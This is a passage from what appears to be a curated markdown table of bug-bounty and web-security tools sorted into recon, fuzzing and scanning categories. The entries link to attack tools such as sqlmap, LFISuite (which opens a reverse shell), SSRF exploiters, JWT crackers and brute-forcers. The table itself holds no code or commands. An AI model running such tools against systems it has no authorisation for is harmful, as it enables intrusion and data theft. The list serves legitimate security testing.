Info|![](https://img.shields.io/github/stars/edoardottt/longtongue?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[reconftw](https://github.com/six2dez/reconftw)|reconFTW is a tool designed to perform automated recon on a target domain by running the best set of tools to perform scanning and finding out vulnerabilities|![](https://img.shields.io/github/stars/six2dez/reconftw?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Recon|[Hunt3r](https://github.com/EasyRecon/Hunt3r)|Made your bugbounty subdomains reconnaissance easier with Hunt3r the web application reconnaissance framework|![](https://img.shields.io/github/stars/EasyRecon/Hunt3r?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Recon|[Sub404](https://github.com/r3curs1v3-pr0xy/sub404)|A python tool to check subdomain takeover vulnerability|![](https://img.shields.io/github/stars/r3curs1v3-pr0xy/sub404?label=%20)|[`subdomains`](/categorize/tags/subdomains.md) [`takeover`](/categorize/tags/takeover.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[SubBrute](https://github.com/aboul3la/Sublist3r)|https://github.com/TheRook/subbrute|![](https://img.shields.io/github/stars/aboul3la/Sublist3r?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[xnLinkFinder](https://github.com/xnl-h4ck3r/xnLinkFinder)|A python tool used to discover endpoints (and potential parameters) for a given target|![](https://img.shields.io/github/stars/xnl-h4ck3r/xnLinkFinder?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[cariddi](https://github.com/edoardottt/cariddi)|Take a list of domains, crawl urls and scan for endpoints, secrets, api keys, file extensions, tokens and more|![](https://img.shields.io/github/stars/edoardottt/cariddi?label=%20)|[`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[dmut](https://github.com/bp0lr/dmut)|A tool to perform permutations, mutations and alteration of subdomains in golang.|![](https://img.shields.io/github/stars/bp0lr/dmut?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[gauplus](https://github.com/bp0lr/gauplus)|A modified version of gau for personal usage. Support workers, proxies and some extra things.|![](https://img.shields.io/github/stars/bp0lr/gauplus?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[gau](https://github.com/lc/gau)|Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl.|![](https://img.shields.io/github/stars/lc/gau?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[OneForAll](https://github.com/shmilylty/OneForAll)|OneForAll是一款功能强大的子域收集工具 |![](https://img.shields.io/github/stars/shmilylty/OneForAll?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[katana](https://github.com/projectdiscovery/katana)|A next-generation crawling and spidering framework.|![](https://img.shields.io/github/stars/projectdiscovery/katana?label=%20)|[`crawl`](/categorize/tags/crawl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[Smap](https://github.com/s0md3v/smap/)|a drop-in replacement for Nmap powered by shodan.io|![](https://img.shields.io/github/stars/s0md3v/smap/?label=%20)|[`port`](/categorize/tags/port.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[Shodan](https://www.shodan.io/)| World's first search engine for Internet-connected devices||[`osint`](/categorize/tags/osint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Recon|[dnsvalidator](https://github.com/vortexau/dnsvalidator)|Maintains a list of IPv4 DNS servers by verifying them against baseline servers, and ensuring accurate responses.|![](https://img.shields.io/github/stars/vortexau/dnsvalidator?label=%20)|[`dns`](/categorize/tags/dns.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[Lepus](https://github.com/gfek/Lepus)|Subdomain finder|![](https://img.shields.io/github/stars/gfek/Lepus?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[Parth](https://github.com/s0md3v/Parth)|Heuristic Vulnerable Parameter Scanner |![](https://img.shields.io/github/stars/s0md3v/Parth?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[spiderfoot](https://github.com/smicallef/spiderfoot)|SpiderFoot automates OSINT collection so that you can focus on analysis.|![](https://img.shields.io/github/stars/smicallef/spiderfoot?label=%20)|[`osint`](/categorize/tags/osint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Recon|[waybackurls](https://github.com/tomnomnom/waybackurls)|Fetch all the URLs that the Wayback Machine knows about for a domain |![](https://img.shields.io/github/stars/tomnomnom/waybackurls?label=%20)|[`url`](/categorize/tags/url.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[recon_profile](https://github.com/nahamsec/recon_profile)|Recon profile (bash profile) for bugbounty |![](https://img.shields.io/github/stars/nahamsec/recon_profile?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Recon|[aquatone](https://github.com/michenriksen/aquatone)|A Tool for Domain Flyovers |![](https://img.shields.io/github/stars/michenriksen/aquatone?label=%20)|[`domain`](/categorize/tags/domain.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[subjs](https://github.com/lc/subjs)|Fetches javascript file from a list of URLS or subdomains.|![](https://img.shields.io/github/stars/lc/subjs?label=%20)|[`url`](/categorize/tags/url.md) [`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Recon|[CT_subdomains](https://github.com/internetwache/CT_subdomains)|An hourly updated list of subdomains gathered from certificate transparency logs |![](https://img.shields.io/github/stars/internetwache/CT_subdomains?label=%20)|[`subdomains`](/categorize/tags/subdomains.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Recon|[sn0int](https://github.com/kpcyrd/sn0int)|Semi-automatic OSINT framework and package manager|![](https://img.shields.io/github/stars/kpcyrd/sn0int?label=%20)|[`osint`](/categorize/tags/osint.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Recon|[htcat](https://github.com/htcat/htcat)|Parallel and Pipelined HTTP GET Utility |![](https://img.shields.io/github/stars/htcat/htcat?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Fuzzer|[kiterunner](https://github.com/assetnote/kiterunner)|Contextual Content Discovery Tool|![](https://img.shields.io/github/stars/assetnote/kiterunner?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Fuzzer|[hashcat](https://github.com/hashcat/hashcat/)|World's fastest and most advanced password recovery utility |![](https://img.shields.io/github/stars/hashcat/hashcat/?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C](/images/c.png)](/categorize/langs/C.md)| |Fuzzer|[c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)|JWT brute force cracker written in C |![](https://img.shields.io/github/stars/brendan-rius/c-jwt-cracker?label=%20)|[`jwt`](/categorize/tags/jwt.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C](/images/c.png)](/categorize/langs/C.md)| |Fuzzer|[medusa](https://github.com/riza/medusa)|Fastest recursive HTTP fuzzer, like a Ferrari. |![](https://img.shields.io/github/stars/riza/medusa?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Fuzzer|[ParamPamPam](https://github.com/Bo0oM/ParamPamPam)|This tool for brute discover GET and POST parameters.|![](https://img.shields.io/github/stars/Bo0oM/ParamPamPam?label=%20)|[`param`](/categorize/tags/param.md) [`cache-vuln`](/categorize/tags/cache-vuln.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Fuzzer|[CrackQL](https://github.com/nicholasaleks/CrackQL)|CrackQL is a GraphQL password brute-force and fuzzing utility.|![](https://img.shields.io/github/stars/nicholasaleks/CrackQL?label=%20)|[`graphql`](/categorize/tags/graphql.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Fuzzer|[ffuf](https://github.com/ffuf/ffuf)|Fast web fuzzer written in Go |![](https://img.shields.io/github/stars/ffuf/ffuf?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Fuzzer|[feroxbuster](https://github.com/epi052/feroxbuster)|A fast, simple, recursive content discovery tool written in Rust.|![](https://img.shields.io/github/stars/epi052/feroxbuster?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Fuzzer|[BatchQL](https://github.com/assetnote/batchql)|GraphQL security auditing script with a focus on performing batch GraphQL queries and mutations|![](https://img.shields.io/github/stars/assetnote/batchql?label=%20)|[`graphql`](/categorize/tags/graphql.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Fuzzer|[BruteX](https://github.com/1N3/BruteX)|Automatically brute force all services running on a target.|![](https://img.shields.io/github/stars/1N3/BruteX?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Fuzzer|[SSRFire](https://github.com/ksharinarayanan/SSRFire)|An automated SSRF finder. Just give the domain name and your server and chill|![](https://img.shields.io/github/stars/ksharinarayanan/SSRFire?label=%20)|[`ssrf`](/categorize/tags/ssrf.md)|![linux](/images/linux.png)![macos](/images/apple.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Fuzzer|[jwt-hack](https://github.com/hahwul/jwt-hack)|🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)|![](https://img.shields.io/github/stars/hahwul/jwt-hack?label=%20)|[`jwt`](/categorize/tags/jwt.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Fuzzer|[SSRFmap](https://github.com/swisskyrepo/SSRFmap)|Automatic SSRF fuzzer and exploitation tool |![](https://img.shields.io/github/stars/swisskyrepo/SSRFmap?label=%20)|[`ssrf`](/categorize/tags/ssrf.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Fuzzer|[jwt-cracker](https://github.com/lmammino/jwt-cracker)|Simple HS256 JWT token brute force cracker |![](https://img.shields.io/github/stars/lmammino/jwt-cracker?label=%20)|[`jwt`](/categorize/tags/jwt.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Fuzzer|[GraphQLmap](https://github.com/swisskyrepo/GraphQLmap)|GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.|![](https://img.shields.io/github/stars/swisskyrepo/GraphQLmap?label=%20)|[`graphql`](/categorize/tags/graphql.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Fuzzer|[dotdotpwn](https://github.com/wireghoul/dotdotpwn)|DotDotPwn - The Directory Traversal Fuzzer |![](https://img.shields.io/github/stars/wireghoul/dotdotpwn?label=%20)|[`path-traversal`](/categorize/tags/path-traversal.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Perl](/images/perl.png)](/categorize/langs/Perl.md)| |Fuzzer|[crlfuzz](https://github.com/dwisiswant0/crlfuzz)|A fast tool to scan CRLF vulnerability written in Go |![](https://img.shields.io/github/stars/dwisiswant0/crlfuzz?label=%20)|[`crlf`](/categorize/tags/crlf.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Fuzzer|[wfuzz](https://github.com/xmendez/wfuzz)|Web application fuzzer |![](https://img.shields.io/github/stars/xmendez/wfuzz?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Fuzzer|[ppfuzz](https://github.com/dwisiswant0/ppfuzz)|A fast tool to scan client-side prototype pollution vulnerability written in Rust. 🦀|![](https://img.shields.io/github/stars/dwisiswant0/ppfuzz?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Rust](/images/rust.png)](/categorize/langs/Rust.md)| |Fuzzer|[fuzzparam](https://github.com/0xsapra/fuzzparam)|A fast go based param miner to fuzz possible parameters a URL can have.|![](https://img.shields.io/github/stars/0xsapra/fuzzparam?label=%20)|[`param`](/categorize/tags/param.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Fuzzer|[thc-hydra](https://github.com/vanhauser-thc/thc-hydra)|hydra |![](https://img.shields.io/github/stars/vanhauser-thc/thc-hydra?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C](/images/c.png)](/categorize/langs/C.md)| |Scanner|[ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff)|A simple SSRF-testing sheriff written in Go |![](https://img.shields.io/github/stars/teknogeek/ssrf-sheriff?label=%20)|[`ssrf`](/categorize/tags/ssrf.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[NoSQLMap](https://github.com/codingo/NoSQLMap)|Automated NoSQL database enumeration and web application exploitation tool. |![](https://img.shields.io/github/stars/codingo/NoSQLMap?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[ws-smuggler](https://github.com/hahwul/ws-smuggler)|WebSocket Connection Smuggler|![](https://img.shields.io/github/stars/hahwul/ws-smuggler?label=%20)|[`smuggle`](/categorize/tags/smuggle.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[nmap](https://github.com/nmap/nmap)|Nmap - the Network Mapper. Github mirror of official SVN repository. |![](https://img.shields.io/github/stars/nmap/nmap?label=%20)|[`portscan`](/categorize/tags/portscan.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![C](/images/c.png)](/categorize/langs/C.md)| |Scanner|[Striker](https://github.com/s0md3v/Striker)|Striker is an offensive information and vulnerability scanner. |![](https://img.shields.io/github/stars/s0md3v/Striker?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[httprobe](https://github.com/tomnomnom/httprobe)|Take a list of domains and probe for working HTTP and HTTPS servers |![](https://img.shields.io/github/stars/tomnomnom/httprobe?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[jsprime](https://github.com/dpnishant/jsprime)|a javascript static security analysis tool|![](https://img.shields.io/github/stars/dpnishant/jsprime?label=%20)|[`js-analysis`](/categorize/tags/js-analysis.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Scanner|[S3Scanner](https://github.com/sa7mon/S3Scanner)|Scan for open AWS S3 buckets and dump the contents |![](https://img.shields.io/github/stars/sa7mon/S3Scanner?label=%20)|[`s3`](/categorize/tags/s3.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[VHostScan](https://github.com/codingo/VHostScan)|A virtual host scanner that performs reverse lookups, can be used with pivot tools, detect catch-all scenarios, work around wildcards, aliases and dynamic default pages. |![](https://img.shields.io/github/stars/codingo/VHostScan?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[nikto](https://github.com/sullo/nikto)|Nikto web server scanner |![](https://img.shields.io/github/stars/sullo/nikto?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Perl](/images/perl.png)](/categorize/langs/Perl.md)| |Scanner|[http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)|HTTP Request Smuggling Detection Tool|![](https://img.shields.io/github/stars/anshumanpattnaik/http-request-smuggling?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[PPScan](https://github.com/msrkp/PPScan)|Client Side Prototype Pollution Scanner|![](https://img.shields.io/github/stars/msrkp/PPScan?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Scanner|[HRS](https://github.com/SafeBreach-Labs/HRS)|HTTP Request Smuggling demonstration Perl script, for variants 1, 2 and 5 in my BlackHat US 2020 paper HTTP Request Smuggling in 2020.|![](https://img.shields.io/github/stars/SafeBreach-Labs/HRS?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Perl](/images/perl.png)](/categorize/langs/Perl.md)| |Scanner|[autopoisoner](https://github.com/Th0h0/autopoisoner)|Web cache poisoning vulnerability scanner.|![](https://img.shields.io/github/stars/Th0h0/autopoisoner?label=%20)|[`cache-vuln`](/categorize/tags/cache-vuln.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[github-search](https://github.com/gwen001/github-search)|Tools to perform basic search on GitHub. |![](https://img.shields.io/github/stars/gwen001/github-search?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Scanner|[xsser](https://github.com/epsylon/xsser)|Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications. |![](https://img.shields.io/github/stars/epsylon/xsser?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[dontgo403](https://github.com/devploit/dontgo403)|Tool to bypass 40X response codes.|![](https://img.shields.io/github/stars/devploit/dontgo403?label=%20)|[`403`](/categorize/tags/403.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[deadlinks](https://github.com/butuzov/deadlinks)|Health checks for your documentation links.|![](https://img.shields.io/github/stars/butuzov/deadlinks?label=%20)|[`broken-link`](/categorize/tags/broken-link.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[Web-Cache-Vulnerability-Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)|Web Cache Vulnerability Scanner is a Go-based CLI tool for testing for web cache poisoning. It is developed by Hackmanit GmbH (http://hackmanit.de/).|![](https://img.shields.io/github/stars/Hackmanit/Web-Cache-Vulnerability-Scanner?label=%20)|[`cache-vuln`](/categorize/tags/cache-vuln.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[rapidscan](https://github.com/skavngr/rapidscan)|The Multi-Tool Web Vulnerability Scanner. |![](https://img.shields.io/github/stars/skavngr/rapidscan?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[DOMPurify](https://github.com/cure53/DOMPurify)|DOMPurify - a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. DOMPurify works with a secure default, but offers a lot of configurability and hooks. Demo:|![](https://img.shields.io/github/stars/cure53/DOMPurify?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![JavaScript](/images/javascript.png)](/categorize/langs/JavaScript.md)| |Scanner|[zap-cli](https://github.com/Grunny/zap-cli)|A simple tool for interacting with OWASP ZAP from the commandline. |![](https://img.shields.io/github/stars/Grunny/zap-cli?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)![zap](/images/zap.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[sqliv](https://github.com/the-robot/sqliv)|massive SQL injection vulnerability scanner|![](https://img.shields.io/github/stars/the-robot/sqliv?label=%20)|[`sqli`](/categorize/tags/sqli.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[XSStrike](https://github.com/s0md3v/XSStrike)|Most advanced XSS scanner. |![](https://img.shields.io/github/stars/s0md3v/XSStrike?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[confused](https://github.com/visma-prodsec/confused)|Tool to check for dependency confusion vulnerabilities in multiple package management systems|![](https://img.shields.io/github/stars/visma-prodsec/confused?label=%20)|[`dependency-confusion`](/categorize/tags/dependency-confusion.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[h2csmuggler](https://github.com/assetnote/h2csmuggler)|HTTP Request Smuggling Detection Tool|![](https://img.shields.io/github/stars/assetnote/h2csmuggler?label=%20)|[`smuggle`](/categorize/tags/smuggle.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[LFISuite](https://github.com/D35m0nd142/LFISuite)|Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner |![](https://img.shields.io/github/stars/D35m0nd142/LFISuite?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[wprecon](https://github.com/blackcrw/wprecon)|Hello! Welcome. Wprecon (Wordpress Recon), is a vulnerability recognition tool in CMS Wordpress, 100% developed in Go.|![](https://img.shields.io/github/stars/blackcrw/wprecon?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[XSpear](https://github.com/hahwul/XSpear)|Powerfull XSS Scanning and Parameter analysis tool&gem |![](https://img.shields.io/github/stars/hahwul/XSpear?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Scanner|[dalfox](https://github.com/hahwul/dalfox)|🌘🦊 Dalfox is a powerful open-source XSS scanner and utility focused on automation.|![](https://img.shields.io/github/stars/hahwul/dalfox?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[testssl.sh](https://github.com/drwetter/testssl.sh)|Testing TLS/SSL encryption anywhere on any port |![](https://img.shields.io/github/stars/drwetter/testssl.sh?label=%20)|[`ssl`](/categorize/tags/ssl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Shell](/images/shell.png)](/categorize/langs/Shell.md)| |Scanner|[OpenRedireX](https://github.com/devanshbatham/OpenRedireX)|A Fuzzer for OpenRedirect issues|![](https://img.shields.io/github/stars/devanshbatham/OpenRedireX?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[http2smugl](https://github.com/neex/http2smugl)|This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 -> HTTP/1.1 conversion by the frontend server.|![](https://img.shields.io/github/stars/neex/http2smugl?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[nuclei](https://github.com/projectdiscovery/nuclei)|Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use. |![](https://img.shields.io/github/stars/projectdiscovery/nuclei?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[arachni](https://github.com/Arachni/arachni)|Web Application Security Scanner Framework |![](https://img.shields.io/github/stars/Arachni/arachni?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Scanner|[wpscan](https://github.com/wpscanteam/wpscan)|WPScan is a free, for non-commercial use, black box WordPress Vulnerability Scanner written for security professionals and blog maintainers to test the security of their WordPress websites. |![](https://img.shields.io/github/stars/wpscanteam/wpscan?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Ruby](/images/ruby.png)](/categorize/langs/Ruby.md)| |Scanner|[AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump)|Security Tool to Look For Interesting Files in S3 Buckets|![](https://img.shields.io/github/stars/jordanpotti/AWSBucketDump?label=%20)|[`s3`](/categorize/tags/s3.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[DeepViolet](https://github.com/spoofzu/DeepViolet)|Tool for introspection of SSL\TLS sessions|![](https://img.shields.io/github/stars/spoofzu/DeepViolet?label=%20)|[`ssl`](/categorize/tags/ssl.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Java](/images/java.png)](/categorize/langs/Java.md)| |Scanner|[Chromium-based-XSS-Taint-Tracking](https://github.com/v8blink/Chromium-based-XSS-Taint-Tracking)|Cyclops is a web browser with XSS detection feature, it is chromium-based xss detection that used to find the flows from a source to a sink.|![](https://img.shields.io/github/stars/v8blink/Chromium-based-XSS-Taint-Tracking?label=%20)|[`xss`](/categorize/tags/xss.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)| |Scanner|[Oralyzer](https://github.com/r0075h3ll/Oralyzer)|Open Redirection Analyzer|![](https://img.shields.io/github/stars/r0075h3ll/Oralyzer?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[sqlmap](https://github.com/sqlmapproject/sqlmap)|Automatic SQL injection and database takeover tool|![](https://img.shields.io/github/stars/sqlmapproject/sqlmap?label=%20)||![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Python](/images/python.png)](/categorize/langs/Python.md)| |Scanner|[DirDar](https://github.com/M4DM0e/DirDar)|DirDar is a tool that searches for (403-Forbidden) directories to break it and get dir listing on it|![](https://img.shields.io/github/stars/M4DM0e/DirDar?label=%20)|[`403`](/categorize/tags/403.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| |Scanner|[hinject](https://github.com/dwisiswant0/hinject)|Host Header Injection Checker 